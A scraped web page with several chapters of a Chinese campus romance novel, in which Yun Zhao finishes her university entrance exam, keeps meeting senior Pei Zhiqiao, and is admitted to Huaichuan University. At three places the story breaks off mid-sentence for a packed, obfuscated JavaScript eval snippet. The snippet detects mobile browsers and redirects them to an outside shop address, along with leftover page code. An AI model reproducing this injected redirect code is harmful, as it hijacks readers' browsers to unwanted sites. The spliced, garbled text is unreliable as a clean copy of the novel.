l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308280|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要上传媒大学,快祝我!” “行,祝你考上传媒大学!” 虞岁高呼:“祝我们都前程似锦!” 凌云山山顶,她们笑着各自留下想去的地方,许的愿散在风里,化成手里的学业符。 月底,三模来袭。 也许是虞岁虔诚求来的符咒起了作用,开了光的笔显了灵,她的成绩跃升一大截,真的够到了传媒大学新闻系的录取线。 云昭和关栩宁成绩稳定,不出意外可以达到目标院校分数线。 紧接着,学校组织她们这一届拍毕业照。 虞岁带来了自己的CCD,云昭拿过来拍照时翻到了前面的照片。 她和裴至峤在跨年夜的那张照片没删。 细算,裴至峤已经毕业357天。 现在,云昭也站到了毕业照的相机前。 镜头停留一瞬,刻下云昭的十八岁。 虞岁和同学合照完一圈回到云昭身边,要跟她拍照,站在一旁的关栩宁自然而然的成了摄影师。 拍了一张又拍一张,和云昭拍完,虞岁又让云昭帮她和关栩宁拍。直到提示内存不够,虞岁才收手。 “我们再拍最后一张吧,三人合照,我们还没拍过三个人的呢!” “行,拍。” 对虞岁,云昭和关栩宁只有妥协的份。 虞岁拿着相机去找人帮忙拍,她觉得前置摄像头拍出来不好看,要找人拍后置。 “我帮你们拍吧。” 主动接下相机的人是颜星元。 虞岁看在和颜星元同班过一年的交情上,放心的把相机给他。 云昭的表情有轻微变化,但镜头里看不出。 颜星元很周到的问:“拍成这样可以吗?” “可以可以,谢谢你啦。” 虞岁急着看照片,没注意到颜星元的眼神落在云昭身上。 趁她们走之前,颜星元开口叫了云昭。 “云昭,可以一起拍张照吗?” 云昭的目光从相机上脱离,看向颜星元。 “算了吧颜星元,其实我不太喜欢拍照。” 这是一种暗示的拒绝。 拍照算了吧,表白也算了吧。 颜星元有点尴尬的站在原地,他读懂了云昭的潜台词。 上次云昭跟他说想要好好学习,说以后的事说不准,他以为过了高考他会有机会。 原来还是没有。 “那祝你毕业快乐,云昭。” 云昭礼貌回:“毕业快乐。” 虞岁探究的目光在云昭身上流连:“哇哦,你们之间有情况?” 云昭比出“禁止”手势:“禁止瞎想!没有情况,也不会有情况。” “知道啦知道啦,你心志坚定,只会跟一个人有情况!” 云昭故作生气的叫了虞岁一声,结束了这个玩笑。 广播照例在这时放着《晴天》,云昭的脚步停在黄昏的林荫道上。 这一刻,她好像忽然懂了裴至峤写在光荣榜上的晴天是什么意思。 云昭想:明天会是晴天吧。 一楼的钢琴被奏响,有人顺着广播的声音弹奏《晴天》这首歌,周围围着一圈学生跟唱。 感性的人此时已经落泪,抱住身边的朋友说不想分开,眼泪浸湿衣衫,染花妆容。 也有人趁此眉目传情,期待高考后自由的生活,再也不用靠偷偷递来的小纸条互诉衷肠。 云昭抬头看向黄昏的教学楼。 这栋历经沧桑的建筑承载了她人生最辉煌的三年,那些最纯真、明媚的少女岁月留在这里,成为永恒的记忆。 音调已经不准的钢琴声从教学楼里面传出,掀起一场命运的洪流。 这次,时间推走的是云昭的十八岁。 而命运的洪流中,她拼命游向有他的方向。 25. 靠近 「海棠花凋零的夜晚,我第一次意识到靠近他是如此困难。我鼓起勇气尝试去到他的世界,他笑脸盈盈,穿着志愿者的红色马甲带我穿过梧桐大道。这天我想好,尽管道路崎岖,但我甘之如饴。」——@福音书与祷告文 又是一年高考季,一中门外照旧站着荧光绿的交警。 云昭不再是守在电视机前看报道、站在奶茶店屋檐下张望的旁观者,她成了这场考试的亲历者。 六月的阳光照在厚厚一本的试题册,照在满满当当的答题卡,云昭在英语试卷的的最后一行写下—— 「Itsuddenlystruckmethatthemostimportantthinginlifeisnotwhatwegain,butthefeelingsandmemoriesweaccumulatealongtheway.」 感谢漫长无垠的学生时代,云昭珍惜沿途的感情和回忆,庆幸有虞岁陪伴、庆幸能收获关栩宁这样的朋友、还有最最庆幸的。 他曾在这里出现。 踏出考场的那一刻,满天的试卷漂浮。在欢呼中,有些东西彻底从他们的生命中抹除。 黎梦秋和云景志抱着一束向日葵在考场外,云昭扑进父母怀里。谁也没有问她考得好不好,他们只在争论要怎么为云昭庆祝。 云昭狡黠一笑:“怎么庆祝都不可以哦!我要和小鱼还有关关一起去玩。” 向日葵还没捂热就又丢回云景志手中,云昭跟虞岁和关栩宁上了出租车。 黄昏的风从车窗灌入,虞岁感叹这是自由的气息。 “终于等到这一天,老娘以后再也不用学习了!” 一句很破坏气氛的话悠然的传进耳朵:“这么放松,看来是考得很好咯?” 虞岁眼疾手快捂住关栩宁的嘴:“呸呸呸,别说这些不爱听的!反正我已经尽力了,剩下就……尽人事,听天命吧。” 尽人事,听天命。 路过淮川大学,行楷的字体写在恢弘的大门上,云昭思绪久久停留。 她觉得虞岁说得对。 尽人事,听天命。 出租车停在时代天街,虞岁拉着她们奔向考前想了好久的火锅店,对着菜单一顿勾划。 可惜云昭和关栩宁都不吃辣,她们点了一个鸳鸯锅。 “你们俩真的不试试辣锅吗?相信我,绝对好吃到颠覆你的想象!” 云昭率先摇头:“算了,我不想假期第一天就拉肚子。” 关栩宁赞同云昭,虞岁直呼她们没口福。 “快吃吧!不是说还要去唱歌吗?” 天街附近很多KTV,云昭随便订了一家。 虞岁自作孽,被自己点的菜撑得走不动路,一到KTV,又对点单册上的鸡尾酒动了心思。 这时的虞岁还没料到明早她会被肠胃炎控制,还在一味怂恿云昭:“昭昭,要不要体验一下成年人的感觉!” 云昭不敢,老老实实抱着自己的椰汁,虞岁转头去祸害关栩宁。 两人各点了一杯看起来特别漂亮的鸡尾酒,喝起来像气泡水,云昭没禁住诱惑,尝了一口。 不知道是鸡尾酒度数有点高,还是云昭酒量太差,这一口酒竟然让她的双颊出现两朵腮红。 屏幕放着《我们俩》的歌词,云昭嗓音从话筒传出,像浸在蜜罐里的青梅,甜得发腻。 一曲完,云昭的体力消耗殆尽。 “你们先唱吧,我去个卫生间。” 炸耳的伴奏在继续放,云昭离开包厢,有点晕乎乎的走在路上。 她想,肯定是密闭的包厢太缺氧,让她脑子都转不动了。 也可能和那口酒有关。 前后一样的装修让云昭这个不清醒的人走错了方向,她在走廊尽头迟迟没找到卫生间的标志。 转头想回去,意外撞到个人。 额头结实的撞在他衬衫的第一颗扣子,尖锐的痛感袭来,云昭不自觉的伸手去揉,眼眉皱成一团。 明明是她不小心撞上去,明明她什么也没说,但此时的动作配上她红了的脸,让人莫名觉得她很委屈。 甚至觉得她该委屈。 “撞伤了吗?严不严重?” 声音和语气都让云昭觉得太耳熟,缺氧的脑袋却什么也想不起来。 她猛然抬头。 和一双含满温润的眼睛撞上。 “云昭?” 云昭这下记起来,这是独属于裴至峤的关怀。 她愣在那里,没缓过神,甜腻的声音机械性的叫他的名字:“裴至峤。” 他笑了。 那笑容似乎在说:哦,原来还认得他啊。 云昭没读出这层意思,她宕机的大脑恢复运行已经是好几秒后的事,裴至峤在这期间轻轻触碰云昭的额头,检查她的伤势。 痛觉的反馈让云昭下意识的发出“嘶”的声音,惊得裴至峤再次低头看她。 彼此视线又交汇在一起。 镜面墙反射各种颜色的光,明亮、斑斓、空无一人的环境却比昏暗房间更令彼此觉得亲密。 太亲密了。 云昭终于回神,心跳在这刻飙升。 她不敢再看他。 裴至峤注意到云昭的反常,却装作无事,继续关心云昭额头。 “撞得严重的话还是去医院检查一下比较好。” 云昭连忙摆手拒绝,语无伦次:“不、不用了,不严重,一会儿就不疼了。” 她不想裴至峤始终纠结于这件事,就好像一直在提醒她刚刚犯的蠢。 她转移话题:“学长,你是和朋友来这玩儿吗?” 她原本的计划是顺势说出:那就不打扰你了。以此将事情翻篇。 身后的包厢门忽然打开,她的计划出现意外。 “阿裴,点个单怎么点这么久,你——” 爽朗的声音在看到云昭的那刻戛然而止。 那男生看样子是裴至峤的朋友,目光在两人之间流连。他用肩膀碰了下裴至峤的肩膀:“阿裴,这是谁啊,你不介绍下?” 陌生人的出现让云昭有些无所适从,她没主动介绍自己,也不敢问对方的姓名。 裴至峤感觉敏锐,开始解释:“这是我淮大的同学,我们辩论社今天团建。” 然后他向苏修齐介绍云昭,说的是:“这是我学妹。” 苏修齐那幅恍然大悟的夸张样子一看就是装的:“原来是学妹!我还以为是!” 他声音又戛然而止,不解的、幽怨的转头看向裴至峤。 云昭不明所以,裴至峤却清楚得很,他掐苏修齐的手始终没放下来。 他知道苏修齐想说什么,他不想让他说,觉得太冒昧。 话头急转,苏修齐的语气中带着咬牙切齿:“学妹今天刚高考完来放松吗?考得怎么样?要不要来我们淮大上学?” 背上又挨一下,苏修齐受不了的龇牙咧嘴。 实在太疼了。 罪魁祸首却若无其事的看着云昭,似乎比问问题的人更期待她的答案。 云昭沉默几秒,回答苏修齐的问题,看向的人却是裴至峤。 “考得还行,也……挺想来淮大上学的。” 嘴角笑容的变化精确到一个像素点,裴至峤看起来没什么不同,云昭却感受到一种隐约的、微妙的氛围。 “那以后也是我的学妹了,要不要来我们包厢玩儿?庆祝阿裴赢下比赛继任社长,消费都他买单!” 苏修齐是个自来熟,和谁都能聊上几句。 但云昭不是。 裴至峤知道。 苏修齐在云昭看不到的地方又遭了殃,忍无可忍大喊一声:“裴至峤!” 云昭被吓一激灵,她这下看出来了,裴至峤的意思是不想让她去。虽然她不知道为什么,但还是选择了拒绝,毕竟上赶着并不是一个讨人喜欢的行为。 “我就不去了,回去晚了我妈妈要担心。” 完美的理由,云昭用过很多次,已经得心应手。 “好,那快回家吧。” 裴至峤说:“云昭,下次见。” 酒精带来的晕眩没完全过去,云昭没领会到话里的深意,稀里糊涂的走了,和朋友们打车回家。 走廊尽头,裴至峤和苏修齐还在。 苏修齐气愤的质问:“你有病啊!刚刚干嘛一直掐我!” 裴至峤甩开他的手:“你别和她开玩笑,她比较害羞。” 苏修齐的出现已经让云昭不自在,如果她来他们的包厢,这种不自在的感觉只会更甚,因为云昭一个人都不认识。 除了裴至峤。 云昭只认识他。 他话里的关心快要溢出,任谁都能听出这份与众不同。 苏修齐试探他:“哟,这么在意她?你这学妹叫什么昭来着?” 裴至峤白他一眼:“关你什么事。” 分不清回的是哪个问题。 月落又日升,淮川迎来新的一天。 云昭从熟悉的房间醒来,赖在柔软的床铺里。昨夜的晕眩消失,她却被困住。 脑海回放着昨晚发生的,镜头停在苏修齐朝裴至峤喊的那一声。 云昭耿耿于怀裴至峤隐晦的拒绝。 时间线向后拉,那句“下次见”回响在耳边。 云昭忽然想起很久之前裴至峤对她说的,他在淮大等她。 这算不算一种承诺的回应? 仅剩的失落被扫空,云昭一跃而起,去看今年淮大的招生简章。 从列表中找出好几个月没理过的官方号,云昭在账号的空间动态中找到这份文件。 简章说得太笼统,什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314409|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么有效信息也读不出。 云昭尝试给官号发信息。 Wolke:「请问一下贵校今年法学系的招生计划什么时候公布?*^o^*」 她精心挑选了一个表情附在消息后面,企图让对话不那么僵硬。 裴至峤接到这条消息时正在上这学期最后一节早八,任课的老教授飞快的划考试重点。 他注视良久,才勉强看懂云昭发的颜文字。 好可爱。 跟她本人一样。 脑海里不自觉想象她做这个表情是什么样子。 裴至峤找出前几天他咨询教务处的信息,将意思转述给云昭。 淮川大学官方:「招生计划大约在20号左右公布。请以学校官网或者教育部发布的志愿填报指南为准~」 还是什么有用的都没得到,只能一直等,等计划公布,等成绩出来。 云昭想起虞岁以前指控这些官方毫不作为的吐槽,当时不觉得,现在深刻感受到。 真是毫不作为! 关了手机,云昭换好衣服出门,去医院探望急性肠胃炎住院的虞岁。 志愿的考虑暂时被放下,云昭尽情享受着完全无忧的假期,跟黎梦秋学做蛋糕,偶尔也去甜品店帮忙。 22号,各大高校的招生计划纷纷出炉,一中下发志愿填报指南为学生提供参考。 云昭不关心别的学校,径直翻到淮川大学那一页,只看法学院的数据。 有点糟糕。 法学系的招生人数比去年少了一半。 去年淮大法学系的录取分数线是淮大所有专业中最高的几个之一,今年招生人数减少,分数线只会再上升。 云昭二模三模的成绩都过了去年的分数线,没超多少,但不出意外能录取上法学系。 偏偏出了意外。 招生人数变少,她拿不准自己的分数能不能考上。 云昭有点沮丧:“怎么这么难呢?” 她第一次如此深刻的觉得,靠近他怎么这么难呢? 房间的窗户开了一半,夏夜的微风吹落窗前的海棠花,吹到坐在书桌前到云昭身上。 这个时候已经过了海棠盛放的季节,凋零的花瓣被风吹得四散,落在地上、落在窗台、落在她眼前。 云昭趴在桌上用手指轻轻拨弄花瓣,手机提示音在静谧的夜晚格外清晰。 淮大官方号发来一条资讯。 淮川大学官方:「淮川大学校园开放日等你来~」 一年一次的校园开放日和招生咨询会就在明天。 云昭忙着难过,没想去这个活动。 但官号突然发来的消息提醒着她这个账号的存在,让她又一次尝试咨询。 Wolke:「今年法学系的录取分数是不是会比去年更高,多少分才有可能被录取?」 淮川大学官方:「录取分数受多种因素影响,虽然今年招生计划有减少,但分数线不一定会增加。建议考生根据位次来确定志愿填报~」 Wolke:「位次在多少的考生才有希望被录取?」 Wolke:「那我还能考上吗?QAQ」 后一句是云昭的心里话,却不小心按了发送键。 她不想纠结这些了,只祈祷自己的位次可以高一点,可以顺利考进法学系。 手机安静了一会儿,官号才发来回复。 淮川大学官方:「想了解更具体的信息可以来开放日现场咨询,招生处的老师会为你现场解答~」 校园开放日。 要去吗? 小鱼吃虾米:「去!为什么不去!」 云昭咨询虞岁的意见,是想让虞岁陪她一起去。可那场肠胃炎让虞岁的电量殆尽,她在休养中,去不了。 不过虞岁非常坚定的让云昭去。 小鱼吃虾米:「你想想清楚,裴至峤在淮大,你去说不定还能遇到他!」 Wolke:「对哦。」 裴至峤在淮大。 夜深,小号再也没有新信息,屏幕停在云昭发来的最后一个颜文字。 裴至峤和室友从图书馆复习完回宿舍,听到有人精疲力竭的抱怨期末要考的太多,根本背不完。 室友问裴至峤:“明天还是八点去图书馆吗?” “明天我不去图书馆了,你们不用给我留位置。” 最爱去图书馆的人一反常态,让人好奇,室友问他是不是找到更好的复习的地方了。 “不是,我明天要去当开放日志愿者。” “阿裴你太牛了,这么多门课要考你居然还有时间去当志愿者!” “学院里总要有人去当志愿者,而且我复习得差不多了。” 室友吐槽他没人性。 裴至峤没说话,没人知道,他脑海里想的究竟是开放日还是别的什么。 26. 梧桐 早晨,云昭醒来时刚过七点。 她昨夜睡得不太好,究其原因,大概是焦虑又兴奋。她担心自己考不上淮大法律系,又被虞岁一句“裴至峤在淮大”挑起兴奋神经。 吃过早餐,云昭准备出门,在衣柜前选今天的穿着。 尽管去淮大不一定能见到裴至峤,云昭依然为这万分之一的可能性认真准备。否决了好几个方案后,她最终穿一件浅粉色裙子,头上戴同色系发卡。 校园开放日,淮大很热闹,云昭站在校门口已经感受到。 代表各学院的帐篷整齐的支在主干道两边,穿着红马甲的志愿者散落在各个角落,带人参观,为人解惑。 云昭鼓起勇气踏进这里,踏进这个有他在的地方。 她第一次来,什么都不熟悉,只好向人询问。 “你好,请问法学院的咨询处在哪里?” 被问到的志愿者刚想给云昭指路,身后响起一道再熟悉不过的声音。 “云昭。” 裴至峤穿着和所有人一样的志愿者马甲,他叫云昭的名字,冲她笑着。 云昭转身,圆润的杏眼里带着茫然与不可置信。 裴至峤感觉有什么东西击穿了他,云昭站在那里,一身浅粉色让他想起甜品店橱窗里的草莓味蛋糕。 盯着她看好一会儿,裴至峤才记起自己的目的:“要找法学院吗?交给我吧。” 那人看见裴至峤左胸处写着“法学院”,很轻易的就让云昭跟裴至峤走。 学校主干道堆积着很多学生和家长,无数人从身边穿梭而过。云昭面对裴至峤,时间像按下了暂停键。 她没想到一来就遇到他了。 她脑子一片空白。 “云昭,往这边走。” 裴至峤把走错方向的云昭强行扳回,短暂的肢体接触让云昭获得触电般的奇妙体验。 她脑子更空白。 她机械的跟在裴至峤身后。 他们到法学院的帐篷,有几个同样穿着马甲的志愿者正在看专业课的复习资料。他们和裴至峤认识,跟他打招呼。 裴至峤问他们:“老师不在吗?” “刚被教务处的叫走了,估计一时半会儿回不来。那姑娘是来咨询的吗?” “嗯,我先带她逛逛吧,老师回来你通知我。” “没问题。” 他们爽快的答应,感谢裴至峤处理这些,让他们能复习一会儿。 云昭听到他们对话,不想太麻烦他们。 裴至峤却说:“志愿者就这做这个的,不用觉得不好意思。” 比起休息,他更想在云昭身边。他刻意等在那里,等着云昭,只是为了一点点短暂的相处时间。 他说:“我带你去看看我们法学院吧。” 淮大学院多,占地面积大,一座天桥连接两个校区。法学院在主校区,穿过梧桐大道就能看到。 六月正值梧桐花期,粗壮的枝干连接遮天蔽日的枝叶,比一中的香樟开得更茂盛。 云昭和裴至峤并肩走在这片阴影里,轻缓的风吹在身上,把彼此的声音带入耳朵。 裴至峤笑着介绍法学院,主教学楼是博文楼,共开设法学系和社会学系两个专业,旁边挨着的是经济学院和宿舍区。 其他学院的学生极其羡慕法学院的位置,宿舍和教学楼离得近让他们每个早八都可以多睡会。 他问云昭:“你来法学院咨询是想读哪个专业?” 云昭没直接对裴至峤说她想读法学系,每一个与裴至峤有关的答案都是她难以启齿的话题。 她只是问:“听说法学院的专业今年都缩招了,我还不知道自己能不能考上呢。” “结果还没出来,你怎么知道自己不行呢?” “云昭,你是很优秀的人,你要相信自己可以成为想成为的人。” 裴至峤语气很平静,话里没有任何说教的意味,他单纯的认可她、相信她。 和两年前那个晚自习一样。 云昭想到很久之前他说的那个冷笑话。他就是这样好的人,一直没变过。 她问:“那你觉得我可以学好法学吗?” “只要用心,什么都能学好的。” 这话听起来像烂大街的心灵鸡汤,却是裴至峤觉得对于法学生来说最重要的一句话。 一颗对法律尊崇、敬畏的心是前提。 沉重的话头陡然一转,裴至峤开玩笑的问云昭:“你真的想好要学法学吗,现在可有一大群你的学长学姐在被期末考试折磨。” 她刚才已经看见了。 不确定带来的迷茫和忐忑被压下,云昭一下放松,学着他的样子开玩笑。 “你也是其中一个吗?” 裴至峤说这些其实是为了再确定一次云昭的选择,却不想云昭反问一句,差点让他没反应过来。 他凑近她悄悄说:“我也算半个吧。” 毕竟法学系要考试的课程真的很多。 没一会手机收到一条消息,守在学院帐篷的同学告诉裴至峤老师已经回来,裴至峤把云昭带回去。 这个时候来咨询的人变多,云昭和其他人一起听着老师讲今年的招生政策。 她下意识回头往梧桐大道的方向看,裴至峤在给其他人带路,脑海里他对她说的话挥散不去。 在回来的路口,那片梧桐遮不住的阳光里,裴至峤祝福她:“希望你能顺利考上想去的专业。” 这道声音和老师说的“招生计划的确减少”的话重合。 云昭清楚的意识到,靠近他的道路太崎岖。 但她想,如果他在前方,那她甘之如饴。 只要能靠近他一点就好。 25号凌晨,高考成绩正式公布。查分网站因为一下涌入太多考生而崩溃。 云昭守在电脑前,一遍一遍刷新网页,终于在后半夜看到自己的分数。 667分。 超了去年淮大法学系3分。 这个分数和二模三模的成绩差不多,在云昭的预期之内。 手机里不断有消息涌入,班主任挨个询问学生分数,班级群里吵成一片。 虞岁在名为「孤独的根号」的群里轰炸云昭和关栩宁,感叹自己开了光的笔显了灵,让她过了传媒大学分数线。 关栩宁考得最好,是今年的文科探花,能稳上江城大学所有专业。 云昭一条一条的回复消息,一边翻看着报考指南。 淮川大学是她的第一志愿,法学系是她的首选。 淮川的志愿填报规则是六个平行学校志愿,每个学校可以填六个专业。 除了淮川大学外,云昭优先选择离家近的学校,服从调剂。 云景志和黎梦秋尊重云昭的想法,为她提供意见参考,但不干涉她的选择。 出分到志愿填报截止到时间很短,云昭仔细考虑,在截止到前一天晚上在网站上点了确认键。 一切努力到此为止,接下去进入了听天命的时候。 因为拿不准结果,在等待录取结果的这段时间里,云昭无比忐忑,同关栩宁的气定神闲与虞岁的没心没肺形成强烈对比。 她很少出去和朋友出去玩,每天不止一次的登陆网站查看录取结果。 本科一批的录取时间在七月中下旬,时间越近,云昭越紧张,她登陆网站的次数就越频繁。 某天下午,这个云昭会永远记得的下午。 她午睡醒来,收到了已投档至淮川大学的信息。 根据录取规则,云昭选择服从调剂,一旦投档,就等于她基本被这所学校录取。即使云昭没有达到所填专业分数线,学校也会为她调剂到可以被录取到专业。 她已经半只脚踏进淮大。 云昭兴奋得跳起来,又狠狠跌进床里,举起手机一遍又一遍查看这条信息。 窗外是湿哒哒下个不停的雨天,云昭在房间的床上滚来滚去,难以抑制兴奋侵占她所有感受。 她一步一步,终于靠近他一点。 第二天下午,录取结果正式公布。 因为招生计划减少,分数线提高,云昭以两分之差错过法学系,被第二志愿专业淮川大学社会学系录取。 社会学系与法学系同属于法学院,云昭觉得,这已经是备选方案里最好的结果。他们在一个学院,至少物理距离上很近。 与此同时,虞岁和关栩宁的录取结果也出来了,前者踩线进入新闻系,后者如愿以偿的拿到心理学系的通知书。 今年的梅雨季终于结束。 淮川又开启连日高温。 虞岁说要感谢菩萨让她考上传媒大学,要去还愿,拉着云昭和关栩宁又去了一趟凌云山。 再次站在文殊殿外,凌云山的风景没变,山顶有风吹过。 虞岁忽然感叹:“其实那时站在这里许愿要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“昭昭你可不能忘了我!你去大学认识了新朋友也必须牢记我才是你最好的朋友!永远都是!” 云昭安慰她:“不会忘的,在我心里你永远是最好的!” “昭昭,你一定要每天和我聊天,遇到好玩的事你一定要跟我分享,我一个人在京北会很想你的!” 说完她又补充:“如果你和裴至峤有什么进展也一定要跟我说!” 云昭被这句半真心半玩笑的话说得一下涨红了脸:“胡说什么呢?八字还没一撇呢。” “迟早会有的嘛,你可一定要告诉我!” 广播通知前往京北的旅客登机,虞岁再没来得及多说什么,云昭目送她走远。 江城的航班在一个小时后,云昭留在候机厅陪关栩宁。 关栩宁不比虞岁爱说话,她们待在一起,气氛往往更安静。登机前,她们才开口做最后的道别。 关栩宁说:“如果你和他真的有进展,也告诉我一下。” 云昭错愕的嗔怪她:“怎么连你也这样?” “八卦之心人皆有之咯。” “看来你跟着小鱼学坏了。” 关栩宁大方承认云昭的指控,竟让云昭不知道怎么骂她了。 直到她也消失在登机口。 玩笑似的话冲淡了离别带来的难过,等到坐上机场的出租,云昭才后知后觉的被分别的伤感席卷。 这个夏天要结束了,该走的人都走远了。 云昭现在才意识到,毕业那天说的再见并不是真正的再见,今天的这句才是。 她们在今天奔向一千公里外的远方,真正离开自己身边。 云昭自己也要往前走。 烫金的录取通知书摆在书桌,她开始收拾开学的行李。 第一次离家融入集体生活,黎梦秋很不放心。她为云昭准备了很多东西,吃的穿的用的,事无巨细,塞满了行李箱的角角落落。 妈妈沉重的心意让云昭哭笑不得,但为了减轻自己开学的负担,云昭忍痛将箱子重新收拾了一遍,只带了一些必需品。 书架最上端的《刑法学讲义》被云昭塞进行李箱缝隙,作为精神上的必需品,云昭认为非常有必要带走。 开学前一晚,她忙到深夜。 另一个人,也忙到深夜。 27. 链接 「人影憧憧的梧桐大道上,有人的手链摔碎,我意外滑进他怀里。感谢出其不意的遇见,感谢刚刚好的时间。这天,我真正踏进他的世界,与他产生链接。」——@福音书与祷告文 九月,气温经历一次下降后又回升,稳定在30摄氏度。 云昭正式去淮大报到这天,阳光炽烈。她戴着遮阳的棒球帽,穿着方便搬行李的牛仔裤,从梨园路出发。 云景志上周被派到德国出差,一直没回,黎梦秋打算亲自送云昭去。哪知她临出门前接到电话,有顾客在甜品店闹起来,得要她去处理。 云昭懂事的让黎梦秋去处理甜品店的事:“我已经成年了,我可以一个人去的。” 电话那头一直在催促,黎梦秋没办法,把云昭送到车上,“在学校遇到问题一定要给妈妈打电话。” 云昭乖巧答应,一个人坐车到淮大门口。 今天的淮大比上次更加人声鼎沸。大二大三的学生已经开始上课,步履匆忙的穿梭在各栋教学楼间;大一的学生拿着行李好奇的打量这个新世界,七嘴八舌的议论一直未停。 云昭循着记忆寻找法学院的帐篷,根据官方发的新生手册上的流程去学院签到领学生卡。 梧桐大道中段,往前往后的学生都从这里过路,道路一下十分拥挤。提着大包小包的新生艰难的从中穿过,去往各自要到的地方。 沸沸扬扬里,一个清脆的女声格外清晰。 “谈嘉益,我手链掉了,帮我找找!” 人实在太多,云昭分不清声音从哪个方向传来,拥挤的道路更是让人连低头的机会都没有。 云昭硬着头皮继续往前,还好法学院的帐篷已经离得不远。 主干道中后段,人开始变少,云昭总算解脱,加快脚步往学院走。 帐篷遮挡一部分光线,云昭不确定正在帮人办理登记的是不是裴至峤,她觉得有点像他,但又不敢肯定。 这一点可能就让云昭雀跃起来,让她想越过重重阻挡,窥探他的真容。 终于,离报到处只差一步。 云昭忽的感觉踩到了什么东西,光滑的、圆润的。 人影幢幢里,她控制不住的向前滑。 停在空中的那一刻,云昭想起虞岁考完得肠胃炎那次一直说的一个词—— 乐极生悲。 因为太想见他,因为见到他太高兴,让她无法分出心思去注意到脚下令她滑倒的“罪魁祸首”,酿成一场“悲剧”。 往下跌的时候,云昭做好了摔得惨烈的准备,闭上眼睛不敢面对。 耳里传来两道清晰的声音: “我的手链!” “云昭!” 膝盖在柏油路上滑了一段,火辣辣的疼让云昭无法忽视,更让她无法忽视的,是一个温柔而有力的怀抱。 衣角的皂香味太熟悉。 云昭本能的抓住面前的一切,抓住他胸口单薄的衬衫。 跌倒带来的强烈撞击让云昭撞上他的胸膛后回弹一下,帽子落在地上,她又再次撞进他怀里,埋在他脖颈处。 皂香味更清晰,侵占她的嗅觉。 双重冲击让云昭失去所有反应能力。 她呆愣的靠着他。 一场事故让周围的人停下脚步,纷纷聚焦于此,有人惊讶得说不出话,有人拿出手机拍下这瞬间。 这是一个慌乱、不知所措、却又像陷入了偶像剧般的瞬间。 云昭从他的怀里抬头,阳光照出他发光的轮廓,她与他近得呼吸都交缠在一起。 时间按下暂停键。 淮大的论坛上立刻涌现好几个讨论这件事的帖子,发帖人说: 「虽然感觉这么说不太地道,但这场面太像最近大火的偶像剧里的滑跪抱。居然让我在现实世界看到偶像剧的瞬间!」 图片.jpg 而女主角——云昭本人,之后回想起这瞬间,尽管也觉得这是个难得梦幻的时刻,但膝盖的伤后知后觉的隐隐作痛盖过了偶像剧般的浪漫。 当然,男主角仍具有偶像剧般的魅力,他跪在地上依旧稳稳的扶着云昭,语气轻柔的问她:“怎么样?伤得严不严重?” 云昭还懵着,面对裴至峤这张熟悉的脸,她说不出任何回答。 她从没离他这么近过。 任何人都没来得及作出反应的时候,他反应极快的、用力的抱住了她。 “天呐,你没事吧?” 手链的主人姗姗赶来,她蹲下捡起落在云昭脚边的珠子,尽管珠子已经碎得不成样子。 “真是不好意思,要不我送你去医务室看看吧?” 赵落没预料到手链突然断开,珠子散落一地,更没预料到梧桐大道的拥挤让她难以及时捡起,让云昭踩在破碎的珠子上滑倒。 清脆的声音让云昭从这个浪漫的时刻脱离,心动过后的羞耻涌上,让她不敢再这样待在裴至峤怀里。 云昭在裴至峤的帮助下站起来,“我没事,不用去医务室了。” 她刚才在地上滑了一截,但幸亏牛仔裤有一定厚度,没摔破皮,应该过一会儿就不疼了。 云昭说不去医务室,赵落也没强求,她打开手机的微信二维码。 “这是我的联系方式,你要是有什么事就联系我,我出医药费。” 联系方式甩给云昭,赵落风风火火的走了,奔去经济学院报到。和她一起的那个男生留在了法学院帐篷前,其他志愿者在帮他办手续。 云昭被裴至峤领进帐篷内的阴凉处,在后面放着的白色箱子里找出一个创可贴给云昭。 云昭还有点懵,没立马接下,不明所以的看着裴至峤。 “摔傻了?” 他语气太宠溺,云昭觉得自己更傻了。 裴至峤见她一幅不动如山的模样,只好拆开创可贴,拉过她的手,贴在她手的边缘。 云昭感觉心跳比刚才在他怀里时更快,裴至峤的手很大很温暖,他手指纤长,指节分明,连给她贴创可贴的动作也是一种视觉享受。 “手流血了都没感觉到吗?” 云昭这才注意到,“刚才只想着膝盖疼了。” “现在还疼吗?” 云昭觉得:“没那么疼了。” 之前她就觉得,裴至峤是一剂强效镇痛剂,面对他的时候,很多东西被屏蔽,让她脑子里只有他。 云昭坐在帐篷里的椅子上休息,裴至峤帮云昭办签到,帮她拿了学生卡和宿舍钥匙,又转头帮她拿行李箱。 “我送你去宿舍。” 不是提问,是肯定的做了决定。 但心跳还没平息的云昭没注意到这点:“不用了,我自己去吧。” 她下意识的拒绝,伸手想夺回行李箱,却被裴至峤挡了下来。 “你能找到宿舍在哪里吗?” 裴至峤的反问让云昭失了声,她的确不知道宿舍在哪,上次没来过。 “跟我走吧,云昭学妹。” 他第二次叫她学妹,云昭听出一丝缠绵。 紫外线太强,把云昭的脸照得红了一片。 她和他并肩走。 再次来到博文楼,越过这里,后面就是宿舍区,云昭住在7栋。 男生不能进入女生宿舍,裴至峤只能把云昭送到楼下。 “进去以后右转就是电梯,你刚才膝盖受伤,别自己搬行李上楼。” 他周到又细致的叮嘱,云昭乖巧点头。 她接过行李箱,犹犹豫豫的说出道别的话:“那……我先上去了,学长再见。” “等等。” 